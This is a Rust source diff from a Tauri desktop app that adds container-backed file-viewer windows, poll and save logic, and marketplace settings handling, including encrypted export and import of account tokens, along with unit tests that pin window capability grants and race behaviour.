check_encoded_len(contents_base64.len())?;
let bytes = BASE64
.decode(contents_base64.as_bytes())
.map_err(|_| "The editor sent malformed content.".to_string())?;
let container_id = running_container_for(&state, &target, "saving this file").await?;
write_file(&container_id, &state.exec_manager, &path, &bytes, &base_hash).await
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn open_is_main_only_and_viewer_commands_are_viewer_only() {
assert!(require_main("main").is_ok());
assert!(require_main("file-viewer-1").is_err());
assert!(require_main("browser-view-x").is_err());
assert_eq!(require_viewer("file-viewer-7").unwrap(), "file-viewer-7");
assert!(require_viewer("main").is_err());
assert!(require_viewer("file-viewer-").is_err());
}
/// Both "no container" refusals a viewer command can give start with the prefix
/// the viewer reads as "Container not running" (`ipcMessages.ts`).
#[test]
fn not_running_refusals_carry_the_shared_prefix() {
use crate::commands::file_commands::NOT_RUNNING_PREFIX;
let m = not_running_message("checking this file for changes", "files live in its container");
assert_eq!(m, "Start the project before checking this file for changes — files live in its container.");
assert!(m.starts_with(NOT_RUNNING_PREFIX));
}
#[test]
fn a_saved_file_serialises_both_hashes() {
let json = serde_json::to_value(SavedFile { hash: "a".into(), disk_hash: "b".into() }).unwrap();
assert_eq!(json, serde_json::json!({ "hash": "a", "disk_hash": "b" }));
}
#[test]
fn the_title_is_basename_then_project() {
assert_eq!(window_title("app/src/lib/urlRelay.ts", "Triple-C"), "urlRelay.ts — Triple-C");
assert_eq!(window_title("/workspace/x/README.md", "x"), "README.md — x");
assert_eq!(window_title("Makefile", "p"), "Makefile — p");
}
#[test]
fn viewer_state_serialises_the_ipc_shape() {
let target = ViewerTarget {
project_id: "pid".into(),
project_name: "P".into(),
raw_path: "src/a.rs".into(),
state: ViewerTargetState::Resolved { container_path: "/workspace/p/src/a.rs".into() },
initial: Location { line: Some(3), col: Some(2), end_line: None },
};
let json = serde_json::to_value(viewer_state_of("file-viewer-1", target)).unwrap();
assert_eq!(json["project_id"], "pid");
assert_eq!(json["state"]["kind"], "resolved");
assert_eq!(json["state"]["container_path"], "/workspace/p/src/a.rs");
assert_eq!(json["initial"]["line"], 3);
assert!(json["initial"]["end_line"].is_null());
}
#[test]
fn the_encoded_length_is_capped_before_decoding() {
let at_cap = BASE64.encode(vec![0u8; MAX_WRITE_BYTES]);
assert!(check_encoded_len(at_cap.len()).is_ok());
// MAX + 1 and MAX + 2 bytes pad to the same length as MAX; `write_file`'s
// decoded check refuses those. The first size this bound itself refuses:
let over_cap = BASE64.encode(vec![0u8; MAX_WRITE_BYTES + 3]);
assert!(check_encoded_len(over_cap.len()).is_err());
assert!(check_encoded_len(at_cap.len() + 1).is_err());
assert!(check_encoded_len(0).is_ok());
}
}
File diff suppressed because it is too large Load Diff
+2
View File
@@ -3,10 +3,12 @@ pub mod auth_token_commands;
pub mod aws_commands;
pub mod docker_commands;
pub mod file_commands;
pub mod file_viewer_commands;
pub mod gateway_commands;
pub mod help_commands;
pub mod inspect_commands;
pub mod install_helper_commands;
pub mod marketplace_commands;
pub mod migration_commands;
pub mod notes_commands;
pub mod project_commands;
+45 -1
View File
@@ -1112,7 +1112,14 @@ pub async fn update_project(
// for every already-running container at launch. The version of this that
// re-asserted on every save is what turned a stale flag in a payload into a
// restarted bridge.
state.projects_store.update(project)
//
// The restore above served the validation; it is redone under the store's
// lock against the record as it is *now*, so a marketplace install, a
// status change or a container id landing since `stored` was read is kept
// rather than written over.
state
.projects_store
.update_restoring(project, restore_store_owned_fields)
}
/// Restore onto `project` the fields whose value belongs to the store rather
@@ -1148,6 +1155,9 @@ fn restore_store_owned_fields(project: &mut Project, stored: &Project) {
project.browser_view_enabled = stored.browser_view_enabled;
project.auth_bridge_enabled = stored.auth_bridge_enabled;
project.created_at = stored.created_at.clone();
// Owned by the marketplace commands; a Config-tab save carries a stale copy.
project.marketplace_installs = stored.marketplace_installs.clone();
project.marketplace_disabled = stored.marketplace_disabled.clone();
}
#[tauri::command]
@@ -1449,6 +1459,16 @@ async fn start_project_container_locked(
log::warn!("Failed to sync AWS credentials for project {}: {}", project.id, e);
}
// Marketplace items sync in the background — see `spawn_project_sync`
// for why the start never waits on it or fails because of it.
crate::marketplace::spawn_project_sync(
app_handle.clone(),
state.marketplace.clone(),
state.settings_store.get(),
project.clone(),
container_id.clone(),
);
Ok(container_id)
}.await;
@@ -2290,4 +2310,28 @@ mod tests {
assert_eq!(payload.status, ProjectStatus::Running);
assert_eq!(payload.created_at, stored.created_at);
}
/// The marketplace commands own a project's installs and opt-outs; the
/// Config tab's next unrelated save carries a stale copy of both.
#[test]
fn a_stale_save_cannot_undo_a_marketplace_install() {
use crate::models::marketplace::{ItemKind, MarketplaceInstall, MarketplaceItemRef};
let (mut stored, mut payload) = stored_and_stale_payload();
stored.marketplace_installs = vec![MarketplaceInstall {
marketplace_id: "m1".into(),
kind: ItemKind::Agent,
key: "code-reviewer".into(),
commit: "a".repeat(40),
}];
stored.marketplace_disabled = vec![MarketplaceItemRef {
marketplace_id: "m1".into(),
kind: ItemKind::Hook,
key: "h".into(),
}];
restore_store_owned_fields(&mut payload, &stored);
assert_eq!(payload.marketplace_installs, stored.marketplace_installs);
assert_eq!(payload.marketplace_disabled, stored.marketplace_disabled);
}
}
@@ -67,14 +67,26 @@ pub fn validate_settings_update(
Ok(())
}
/// Marketplace state is written only by the marketplace commands
/// (`commands/marketplace_commands.rs`), each of which returns fresh settings.
/// Every other settings save posts the frontend's copy back whole, and that
/// copy can predate an install made a moment ago, so what is stored wins.
/// `apply_settings_import` is the one caller that replaces it, explicitly.
pub(crate) fn restore_marketplace_fields(incoming: &mut AppSettings, stored: &AppSettings) {
incoming.marketplace_accounts = stored.marketplace_accounts.clone();
incoming.marketplaces = stored.marketplaces.clone();
incoming.global_marketplace_installs = stored.global_marketplace_installs.clone();
}
#[tauri::command]
pub async fn update_settings(
settings: AppSettings,
mut settings: AppSettings,
state: State<'_, AppState>,
) -> Result<AppSettings, String> {
let before = state.settings_store.get();
validate_settings_update(&before, &settings)?;
restore_marketplace_fields(&mut settings, &before);
let saved = state.settings_store.update(settings)?;
@@ -430,4 +442,28 @@ mod tests {
});
assert_eq!(gateway_action(&before, &half_typed), GatewayAction::None);
}
#[test]
fn a_stale_settings_save_cannot_overwrite_marketplace_state() {
use crate::models::marketplace::Marketplace;
let mut stored = AppSettings::default();
stored.marketplaces.push(Marketplace {
id: "m1".into(),
name: "Team".into(),
url: "https://example.invalid/r.git".into(),
branch: None,
account_id: None,
});
// The frontend's copy predates the marketplace being added.
let mut incoming = AppSettings::default();
incoming.auto_check_updates = false;
restore_marketplace_fields(&mut incoming, &stored);
assert_eq!(incoming.marketplaces, stored.marketplaces);
assert!(
!incoming.auto_check_updates,
"the edit the save was for still applies"
);
}
}
@@ -41,6 +41,9 @@ use tauri::State;
use tauri_plugin_dialog::DialogExt;
use zeroize::Zeroizing;
use std::collections::BTreeMap;
use crate::models::marketplace::{AccountMethod, MarketplaceAccount};
use crate::models::{
AppSettings, ExportedSecrets, SettingsExportPayload, SettingsImportOutcome,
SettingsImportPreview, SETTINGS_EXPORT_FORMAT_VERSION,
@@ -131,11 +134,56 @@ fn split_settings_and_secrets(current: AppSettings) -> (AppSettings, ExportedSec
gateway_api_key: secure::get_gateway_api_key().unwrap_or_default(),
gateway_master_key: secure::get_gateway_master_key().unwrap_or_default(),
web_terminal_access_token,
marketplace_account_tokens: exported_marketplace_tokens(
&settings.marketplace_accounts,
secure::get_marketplace_token,
),
};
(settings, secrets)
}
/// The stored token of every marketplace account that has one, by account
/// id. A `GhHost` account stores none (its token is asked of the host's `gh`
/// each time), so it is not read. A missing or unreadable token is left out,
/// like the other keychain secrets above.
fn exported_marketplace_tokens(
accounts: &[MarketplaceAccount],
get: impl Fn(&str) -> Result<Option<String>, String>,
) -> BTreeMap<String, String> {
accounts
.iter()
.filter(|a| a.method != AccountMethod::GhHost)
.filter_map(|a| {
let token = non_blank(get(&a.id).unwrap_or_default())?;
Some((a.id.clone(), token))
})
.collect()
}
/// Write each imported marketplace token to the keychain, returning a
/// warning (never containing the token) for each one that could not be.
fn restore_marketplace_tokens(
tokens: &BTreeMap<String, String>,
mut store: impl FnMut(&str, &str) -> Result<(), String>,
) -> Vec<String> {
let mut warnings = Vec::new();
for (account_id, token) in tokens {
if let Err(e) = store(account_id, token) {
log::warn!(
"Settings import: could not restore the token of marketplace account {}: {}",
account_id,
e
);
warnings.push(format!(
"Could not restore a marketplace account's token ({}); sign that account in again.",
e
));
}
}
warnings
}
/// Export the current global settings and secrets to a password-encrypted
/// file. `Ok(false)` means the save dialog was dismissed — not an error, and
/// deliberately distinguishable from one so the frontend shows nothing
@@ -320,6 +368,13 @@ pub async fn apply_settings_import(
.or_else(|| current.web_terminal.access_token.clone());
crate::commands::settings_commands::validate_settings_update(&current, &settings)?;
// The marketplace half, with the commands' own rules and normalisation,
// also before anything is written (pre-flight F10).
let marketplace_tokens = payload.secrets.marketplace_account_tokens;
crate::commands::marketplace_commands::validate_imported_marketplace_state(
&mut settings,
&marketplace_tokens,
)?;
let mut secret_restore_warnings = Vec::new();
let mut gateway_secret_changed = false;
@@ -363,8 +418,36 @@ pub async fn apply_settings_import(
}
}
secret_restore_warnings.extend(restore_marketplace_tokens(
&marketplace_tokens,
secure::store_marketplace_token,
));
let imported_marketplace = (
settings.marketplace_accounts.clone(),
settings.marketplaces.clone(),
settings.global_marketplace_installs.clone(),
);
let saved =
crate::commands::settings_commands::update_settings(settings, state.clone()).await?;
// `update_settings` keeps marketplace state store-owned. An import is the
// one caller entitled to replace it wholesale.
let saved = {
let mut s = saved;
(
s.marketplace_accounts,
s.marketplaces,
s.global_marketplace_installs,
) = imported_marketplace;
state.settings_store.update(s)?
};
// Caches of marketplaces the import dropped are dead weight now, and
// the pins must match the imported installs.
use crate::commands::marketplace_commands as mc;
for id in mc::dropped_marketplace_ids(&current, &saved) {
mc::remove_cache(&state, &id).await;
}
mc::refresh_pins(&state).await;
// `reconcile_gateway` (inside `update_settings`) only reacts to a changed
// *shape* — port, provider, base URL, models — because that's what's
@@ -651,4 +734,97 @@ mod tests {
std::fs::remove_dir_all(&dir).ok();
}
fn account(id: &str, method: AccountMethod) -> MarketplaceAccount {
MarketplaceAccount {
id: id.to_string(),
label: format!("Account {id}"),
host: "github.com".to_string(),
method,
username: None,
}
}
#[test]
fn export_carries_stored_tokens_of_token_and_container_accounts_only() {
let accounts = vec![
account("a-token", AccountMethod::Token),
account("a-container", AccountMethod::GhContainer),
account("a-host", AccountMethod::GhHost),
account("a-missing", AccountMethod::Token),
account("a-broken", AccountMethod::Token),
];
let tokens = exported_marketplace_tokens(&accounts, |id| match id {
"a-token" => Ok(Some("test-token-not-real-1".to_string())),
"a-container" => Ok(Some("test-token-not-real-2".to_string())),
"a-host" => panic!("a gh-host account stores no token, so none is read"),
"a-missing" => Ok(None),
_ => Err("keychain locked".to_string()),
});
assert_eq!(
tokens,
BTreeMap::from([
("a-container".to_string(), "test-token-not-real-2".to_string()),
("a-token".to_string(), "test-token-not-real-1".to_string()),
])
);
}
#[test]
fn marketplace_tokens_round_trip_through_an_export_and_validate_on_import() {
use crate::models::marketplace::Marketplace;
let id = "0f8fad5b-d9cb-469f-a165-70867728950e";
let mut payload = sample_payload(SETTINGS_EXPORT_FORMAT_VERSION);
payload
.settings
.marketplace_accounts
.push(account(id, AccountMethod::Token));
payload.settings.marketplaces.push(Marketplace {
id: "7c9e6679-7425-40de-944b-e07fc1f90ae7".into(),
name: "Team".into(),
url: "https://github.com/org/repo.git".into(),
branch: None,
account_id: Some(id.into()),
});
payload.secrets.marketplace_account_tokens =
BTreeMap::from([(id.to_string(), "test-token-not-real".to_string())]);
let dir = temp_dir("marketplace-round-trip");
let path = write_export(&dir, "x.triplec", &payload, "password123");
let mut back = read_and_decrypt(&path, "password123").unwrap();
assert_eq!(
back.secrets.marketplace_account_tokens,
payload.secrets.marketplace_account_tokens
);
assert_eq!(back.settings.marketplaces, payload.settings.marketplaces);
crate::commands::marketplace_commands::validate_imported_marketplace_state(
&mut back.settings,
&back.secrets.marketplace_account_tokens,
)
.unwrap();
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn a_marketplace_token_that_fails_to_restore_is_reported_without_its_value() {
let tokens = BTreeMap::from([
("a1".to_string(), "test-token-not-real-1".to_string()),
("a2".to_string(), "test-token-not-real-2".to_string()),
]);
let mut stored = Vec::new();
let warnings = restore_marketplace_tokens(&tokens, |id, token| {
if id == "a2" {
return Err("keychain locked".to_string());
}
stored.push((id.to_string(), token.to_string()));
Ok(())
});
assert_eq!(
stored,
vec![("a1".to_string(), "test-token-not-real-1".to_string())]
);
assert_eq!(warnings.len(), 1);
assert!(!warnings[0].contains("test-token-not-real"));
}
}
@@ -469,6 +469,20 @@ mod tests {
assert!(!cmd[2].contains(" -n "), "empty name must add no flag: {}", cmd[2]);
}
/// Auto mode is passed as a `--permission-mode` value, not its own flag.
#[test]
fn build_terminal_cmd_passes_auto_permission_mode() {
let mut p = project("anthropic", serde_json::Value::Null);
p.permission_mode = Some(crate::models::project::PermissionMode::Auto);
let cmd = build_claude_terminal_cmd(&p, None, None);
assert!(
cmd[2].contains("exec claude '--permission-mode' 'auto'"),
"got: {}",
cmd[2]
);
}
/// The Bedrock-profile path keeps its AWS validation *and* gains the
/// prelude, immediately before the exec.
#[test]
+6 -4
View File
@@ -434,7 +434,8 @@ fn container_join(dir: &str, name: &str) -> String {
/// Write `data` into the container at `<dest_dir>/<file_name>` with `mode`.
///
/// For small, generated files — migration uses it for the `tar -T` include
/// list, which can be too long to pass as argv. Anything large should be
/// list, which can be too long to pass as argv, and the marketplace sync for
/// its payload tar and script. Anything large should be
/// streamed through an attached exec's stdin instead, since this buffers the
/// whole payload in memory twice (once raw, once tarred).
pub async fn upload_bytes_to_container(
@@ -446,9 +447,10 @@ pub async fn upload_bytes_to_container(
) -> Result<String, String> {
let docker = get_docker()?;
// Root-owned on purpose: the only caller is migration, whose `tar -T` list
// is read back as root. The mtime still gets stamped so the file doesn't
// read as 1970.
// Root-owned on purpose: migration's `tar -T` list is read back as root,
// and the marketplace sync uploads into a `claude`-owned directory it
// prepares first, so `claude` can still read and delete the files. The
// mtime still gets stamped so the file doesn't read as 1970.
let tar_buf = build_single_file_tar(file_name, data, mode, 0, 0, now_epoch_secs())?;
docker
+109
View File
@@ -0,0 +1,109 @@
//! The terminal file viewer: one OS window per clicked path.
//!
//! Every window is a `file-viewer-<n>` label registered in [`registry::ViewerRegistry`];
//! the commands in `commands/file_viewer_commands.rs` gate on the label and act only on
//! the caller's own entry, which is why nothing here takes a path from a window.
//!
//! `file-viewer-*` is also the `windows` glob of `capabilities/file-viewer.json`, which grants
//! exactly the five `viewer_*` commands and nothing else. Labels are minted only here; a window
//! created anywhere else with a matching label would inherit those grants.
pub mod poll;
pub mod registry;
pub mod resolve;
pub mod window;
pub mod write;
/// Spec §3: the 21st click is refused with a toast.
pub const MAX_VIEWER_WINDOWS: usize = 20;
pub const VIEWER_LABEL_PREFIX: &str = "file-viewer-";
pub fn is_viewer_label(label: &str) -> bool {
label
.strip_prefix(VIEWER_LABEL_PREFIX)
.is_some_and(|rest| !rest.is_empty() && rest.bytes().all(|b| b.is_ascii_digit()))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn only_numbered_viewer_labels_pass() {
assert!(is_viewer_label("file-viewer-1"));
assert!(is_viewer_label("file-viewer-20"));
assert!(!is_viewer_label("file-viewer-"));
assert!(!is_viewer_label("file-viewer-x"));
assert!(!is_viewer_label("main"));
assert!(!is_viewer_label("browser-view-abc"));
}
/// Both Vite's dev server and Tauri's asset lookup fall back to `index.html`
/// when `viewer.html` is missing, so a broken entry opens the *main app* in
/// the viewer window with no error anywhere. Pin the two files the entry needs.
#[test]
fn the_viewer_entry_exists_and_is_a_vite_input() {
let app_dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
let html = std::fs::read_to_string(app_dir.join("viewer.html")).expect("app/viewer.html");
assert!(html.contains("/src/viewer/main.tsx"));
assert!(!html.contains("<style"), "an inline <style> makes Tauri add a style nonce, which disables 'unsafe-inline' and breaks CodeMirror");
let vite = std::fs::read_to_string(app_dir.join("vite.config.ts")).expect("vite.config.ts");
assert!(vite.contains("viewer.html"), "vite.config.ts must list viewer.html in build.rollupOptions.input");
}
#[derive(serde::Deserialize)]
struct Capability {
windows: Vec<String>,
permissions: Vec<String>,
}
/// Task 12: a substring check on the capability JSON (the form this test used to take)
/// only proves a permission string appears *somewhere* in the file — it would not catch
/// `windows` widened past `file-viewer-*`, nor an extra grant slipped in beside the ones
/// this window actually needs. Parse both capability files and pin `windows`/`permissions`
/// exactly, so a later widening of either file is a failing test, not a silent threat-model
/// drift — this file *is* the reviewed threat model of record (see its own description).
#[test]
fn the_viewer_capability_grants_exactly_the_reviewed_windows_and_permissions() {
let app_dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
let raw = std::fs::read_to_string(app_dir.join("src-tauri/capabilities/file-viewer.json"))
.expect("capabilities/file-viewer.json");
let cap: Capability = serde_json::from_str(&raw).expect("file-viewer.json must be valid JSON");
assert_eq!(cap.windows, vec!["file-viewer-*"]);
let mut permissions = cap.permissions;
permissions.sort();
assert_eq!(
permissions,
vec![
// App commands (bare): the five viewer commands, and nothing else — build.rs
// refuses any other bare grant in this file.
"allow-viewer-choose-file",
"allow-viewer-get-state",
"allow-viewer-poll-file",
"allow-viewer-read-file",
"allow-viewer-write-file",
// Plugin/core grants, unchanged.
"core:event:allow-listen",
"core:event:allow-unlisten",
"core:webview:allow-internal-toggle-devtools",
"core:window:allow-destroy",
]
);
}
/// The main window's capability file must stay scoped to `main` — a `windows` list that
/// grew to include `file-viewer-*` would hand every viewer window the dialog/store surface
/// `default.json` grants `main`, which is a much larger IPC surface than the one
/// `file-viewer.json` was deliberately kept small.
#[test]
fn the_default_capability_is_scoped_to_the_main_window_only() {
let app_dir = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("..");
let raw = std::fs::read_to_string(app_dir.join("src-tauri/capabilities/default.json"))
.expect("capabilities/default.json");
let cap: Capability = serde_json::from_str(&raw).expect("default.json must be valid JSON");
assert_eq!(cap.windows, vec!["main"]);
}
}
+194
View File
@@ -0,0 +1,194 @@
//! One cheap exec per tick: the file's full hash and size, or "gone".
//!
//! This is what the 2 s poll asks, instead of re-downloading up to 1 MiB of archive per
//! window per tick. The hash is coreutils `sha256sum`, which equals `write::sha256_hex`
//! of the bytes whenever the read was not truncated — the only case in which the
//! editor uses a hash as its save base.
use serde::Serialize;
use crate::docker::exec::exec_oneshot_streams_as;
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
pub struct ViewerPoll {
pub exists: bool,
pub hash: Option<String>,
pub size: Option<u64>,
}
/// Exit 4 = gone. A failure after `test -f` passed is re-checked: if the file vanished
/// in between (deleted while being hashed), that is "gone", not an error (M6).
pub const POLL_SCRIPT: &str = r#"test -f "$1" || exit 4
sha256sum -- "$1" && stat -c %s -- "$1" && exit 0
test -f "$1" || exit 4
exit 1"#;
pub fn parse_poll_output(code: i64, stdout: &str) -> ViewerPoll {
if code == 4 {
return ViewerPoll { exists: false, hash: None, size: None };
}
let mut lines = stdout.lines();
let hash = lines
.next()
.and_then(|l| l.split_whitespace().next())
// GNU `sha256sum` prefixes the line with `\` when the name contains a
// backslash or a newline; strip it before validating the hex (P15).
.map(|h| h.trim_start_matches('\\'))
.filter(|h| super::write::is_sha256_hex(h))
.map(str::to_string);
let size = lines.next().and_then(|l| l.trim().parse::<u64>().ok());
ViewerPoll { exists: true, hash, size }
}
pub async fn poll_file(container_id: &str, container_path: &str) -> Result<ViewerPoll, String> {
let cmd = vec![
"sh".to_string(),
"-c".to_string(),
POLL_SCRIPT.to_string(),
"poll".to_string(),
container_path.to_string(),
];
let (stdout, stderr, code) =
exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
if code != 0 && code != 4 {
return Err(format!(
"Could not check the file: {}",
crate::commands::file_commands::clip_container_text(&stderr)
));
}
Ok(parse_poll_output(code, &stdout))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn a_present_file_yields_hash_and_size() {
let out = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /workspace/x\n42\n";
assert_eq!(
parse_poll_output(0, out),
ViewerPoll {
exists: true,
hash: Some("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855".into()),
size: Some(42)
}
);
}
#[test]
fn exit_four_means_gone() {
assert_eq!(parse_poll_output(4, ""), ViewerPoll { exists: false, hash: None, size: None });
}
#[test]
fn garbage_is_not_a_hash() {
let p = parse_poll_output(0, "not a hash /x\nabc\n");
assert_eq!(p, ViewerPoll { exists: true, hash: None, size: None });
}
#[test]
fn the_script_tests_existence_before_hashing() {
assert!(POLL_SCRIPT.contains("test -f \"$1\" || exit 4"));
assert!(POLL_SCRIPT.contains("sha256sum -- \"$1\""));
assert!(POLL_SCRIPT.contains("stat -c %s -- \"$1\""));
}
#[cfg(unix)]
fn run_poll_script(path_env: Option<&str>, target: &std::path::Path) -> (i64, String, String) {
let mut cmd = std::process::Command::new("sh");
if let Some(p) = path_env {
cmd.env("PATH", p);
}
let out = cmd.arg("-c").arg(POLL_SCRIPT).arg("poll").arg(target).output().unwrap();
(
out.status.code().unwrap_or(-1) as i64,
String::from_utf8_lossy(&out.stdout).into_owned(),
String::from_utf8_lossy(&out.stderr).into_owned(),
)
}
#[cfg(unix)]
fn test_dir(name: &str) -> std::path::PathBuf {
let dir = std::env::temp_dir().join(format!("tc-poll-{}-{}", name, uuid::Uuid::new_v4()));
std::fs::create_dir_all(&dir).unwrap();
dir
}
#[cfg(unix)]
#[test]
fn on_the_host_the_poll_script_reports_hash_size_and_gone() {
let dir = test_dir("plain");
let target = dir.join("t.txt");
std::fs::write(&target, b"hello\n").unwrap();
let (code, stdout, stderr) = run_poll_script(None, &target);
assert_eq!(code, 0, "stderr={stderr}");
let p = parse_poll_output(code, &stdout);
assert_eq!(p.hash.as_deref(), Some(super::super::write::sha256_hex(b"hello\n").as_str()));
assert_eq!(p.size, Some(6));
let (code, _, _) = run_poll_script(None, &dir.join("missing"));
assert_eq!(code, 4);
let _ = std::fs::remove_dir_all(&dir);
}
/// M6: the file is deleted after `test -f` passed but before `sha256sum` read it
/// (a `sha256sum` shim on PATH deletes it and fails). That is "gone", not an error
/// the viewer would have to explain.
#[cfg(unix)]
#[test]
fn on_the_host_a_file_deleted_mid_poll_reads_as_gone() {
use std::os::unix::fs::PermissionsExt;
let dir = test_dir("race");
let bin = dir.join("bin");
std::fs::create_dir_all(&bin).unwrap();
let shim = bin.join("sha256sum");
std::fs::write(&shim, "#!/bin/sh\nrm -f -- \"$2\"\necho 'sha256sum: No such file or directory' >&2\nexit 1\n").unwrap();
std::fs::set_permissions(&shim, std::fs::Permissions::from_mode(0o755)).unwrap();
let target = dir.join("t.txt");
std::fs::write(&target, b"x").unwrap();
let path = format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default());
let (code, stdout, stderr) = run_poll_script(Some(&path), &target);
assert_eq!(code, 4, "stderr={stderr}");
assert_eq!(parse_poll_output(code, &stdout), ViewerPoll { exists: false, hash: None, size: None });
let _ = std::fs::remove_dir_all(&dir);
}
/// A failure with the file still present stays a real error (exit 1), which
/// `poll_file` turns into "Could not check the file: …".
#[cfg(unix)]
#[test]
fn on_the_host_a_hash_failure_on_a_present_file_is_an_error() {
use std::os::unix::fs::PermissionsExt;
let dir = test_dir("fail");
let bin = dir.join("bin");
std::fs::create_dir_all(&bin).unwrap();
let shim = bin.join("sha256sum");
std::fs::write(&shim, "#!/bin/sh\necho 'sha256sum: Permission denied' >&2\nexit 1\n").unwrap();
std::fs::set_permissions(&shim, std::fs::Permissions::from_mode(0o755)).unwrap();
let target = dir.join("t.txt");
std::fs::write(&target, b"x").unwrap();
let path = format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default());
let (code, _stdout, stderr) = run_poll_script(Some(&path), &target);
assert_eq!(code, 1, "stderr={stderr}");
assert!(stderr.contains("Permission denied"));
let _ = std::fs::remove_dir_all(&dir);
}
/// P15: a path containing a backslash makes GNU `sha256sum` prefix the whole
/// line with `\`; that must not blind change detection by yielding `hash: None`.
#[test]
fn a_backslash_prefixed_hash_is_still_recognised() {
let out = "\\e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /workspace/x\\y\n7\n";
let p = parse_poll_output(0, out);
assert_eq!(
p.hash.as_deref(),
Some("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855")
);
assert_eq!(p.size, Some(7));
}
}
+379
View File
@@ -0,0 +1,379 @@
//! Which viewer window is looking at what.
//!
//! Managed with `app.manage(ViewerRegistry::default())` rather than as a field on
//! `AppState`, like the browser view keeps its own state. A label is reserved *before*
//! the window is built so two concurrent clicks cannot both pass the cap check.
use std::collections::HashMap;
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Mutex;
use serde::{Deserialize, Serialize};
use super::{MAX_VIEWER_WINDOWS, VIEWER_LABEL_PREFIX};
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq, Default)]
pub struct Location {
pub line: Option<u32>,
pub col: Option<u32>,
pub end_line: Option<u32>,
}
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(tag = "kind", rename_all = "snake_case")]
pub enum ViewerTargetState {
Resolved { container_path: String },
Choose { candidates: Vec<String> },
NotFound { tried: Vec<String> },
}
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
pub struct ViewerTarget {
pub project_id: String,
pub project_name: String,
pub raw_path: String,
pub state: ViewerTargetState,
pub initial: Location,
}
/// What [`ViewerRegistry::reserve`] decided.
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum Reservation {
/// A window is already registered on this file. `built` is false while that
/// window is still being created: it has no `WebviewWindow` to focus yet, and
/// it will open at its own location, so the caller should simply return.
Existing { label: String, built: bool },
/// A new label, registered and counted against the cap; build its window,
/// then call [`ViewerRegistry::mark_built`] (or `remove` if building failed).
Reserved(String),
}
/// What [`ViewerRegistry::choose`] decided.
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum Choice {
/// The caller's entry now points at the chosen file.
Resolved(ViewerTarget),
/// Another window already has that file; the caller's entry is unchanged.
AlreadyOpen { label: String, built: bool },
}
#[derive(Clone, Debug)]
struct Entry {
target: ViewerTarget,
/// Set once the window's `build()` has returned. Until then the label has no
/// window by design, so "registered but windowless" means "being built", not
/// "stale" — only built entries are ever pruned.
built: bool,
}
#[derive(Default)]
pub struct ViewerRegistry {
entries: Mutex<HashMap<String, Entry>>,
next: AtomicU64,
}
fn same_file(t: &ViewerTarget, project_id: &str, container_path: &str) -> bool {
t.project_id == project_id
&& matches!(&t.state, ViewerTargetState::Resolved { container_path: p } if p == container_path)
}
fn open_on(
entries: &HashMap<String, Entry>,
project_id: &str,
container_path: &str,
except: Option<&str>,
) -> Option<(String, bool)> {
entries
.iter()
.find(|(label, e)| Some(label.as_str()) != except && same_file(&e.target, project_id, container_path))
.map(|(label, e)| (label.clone(), e.built))
}
/// Drops built entries whose window is gone, whatever their state. `Destroyed`
/// normally removes an entry; this is the backstop for one it missed, so a leak
/// can never hold a cap slot for good.
fn prune(entries: &mut HashMap<String, Entry>, is_live: &dyn Fn(&str) -> bool) {
entries.retain(|label, e| !e.built || is_live(label));
}
impl ViewerRegistry {
fn lock(&self) -> std::sync::MutexGuard<'_, HashMap<String, Entry>> {
self.entries.lock().unwrap_or_else(|e| e.into_inner())
}
/// Finds the window already open on a resolved target, or reserves a label,
/// in one critical section, after pruning built entries `is_live` says are
/// gone. `is_live` runs under the registry lock and must not call back into
/// the registry.
pub fn reserve(
&self,
target: ViewerTarget,
is_live: impl Fn(&str) -> bool,
) -> Result<Reservation, String> {
let mut entries = self.lock();
prune(&mut entries, &is_live);
if let ViewerTargetState::Resolved { container_path } = &target.state {
if let Some((label, built)) = open_on(&entries, &target.project_id, container_path, None) {
return Ok(Reservation::Existing { label, built });
}
}
if entries.len() >= MAX_VIEWER_WINDOWS {
return Err(format!(
"{} file windows are already open — close one before opening another.",
MAX_VIEWER_WINDOWS
));
}
let n = self.next.fetch_add(1, Ordering::SeqCst) + 1;
let label = format!("{}{}", VIEWER_LABEL_PREFIX, n);
entries.insert(label.clone(), Entry { target, built: false });
Ok(Reservation::Reserved(label))
}
/// Records that `label`'s window exists. A no-op if it was already removed
/// (a window destroyed the moment it appeared).
pub fn mark_built(&self, label: &str) {
if let Some(e) = self.lock().get_mut(label) {
e.built = true;
}
}
/// Points `label`'s entry at `container_path`, unless another window already
/// has that file open — then the entry is left alone, so no two entries are
/// ever resolved to the same file.
pub fn choose(
&self,
label: &str,
container_path: String,
is_live: impl Fn(&str) -> bool,
) -> Result<Choice, String> {
let mut entries = self.lock();
prune(&mut entries, &is_live);
let project_id = entries
.get(label)
.ok_or_else(|| "This file window is no longer registered.".to_string())?
.target
.project_id
.clone();
if let Some((other, built)) = open_on(&entries, &project_id, &container_path, Some(label)) {
return Ok(Choice::AlreadyOpen { label: other, built });
}
let entry = entries.get_mut(label).expect("checked above under the same lock");
entry.target.state = ViewerTargetState::Resolved { container_path };
Ok(Choice::Resolved(entry.target.clone()))
}
pub fn get(&self, label: &str) -> Option<ViewerTarget> {
self.lock().get(label).map(|e| e.target.clone())
}
pub fn set_state(&self, label: &str, state: ViewerTargetState) -> Result<ViewerTarget, String> {
let mut entries = self.lock();
let entry = entries
.get_mut(label)
.ok_or_else(|| "This file window is no longer registered.".to_string())?;
entry.target.state = state;
Ok(entry.target.clone())
}
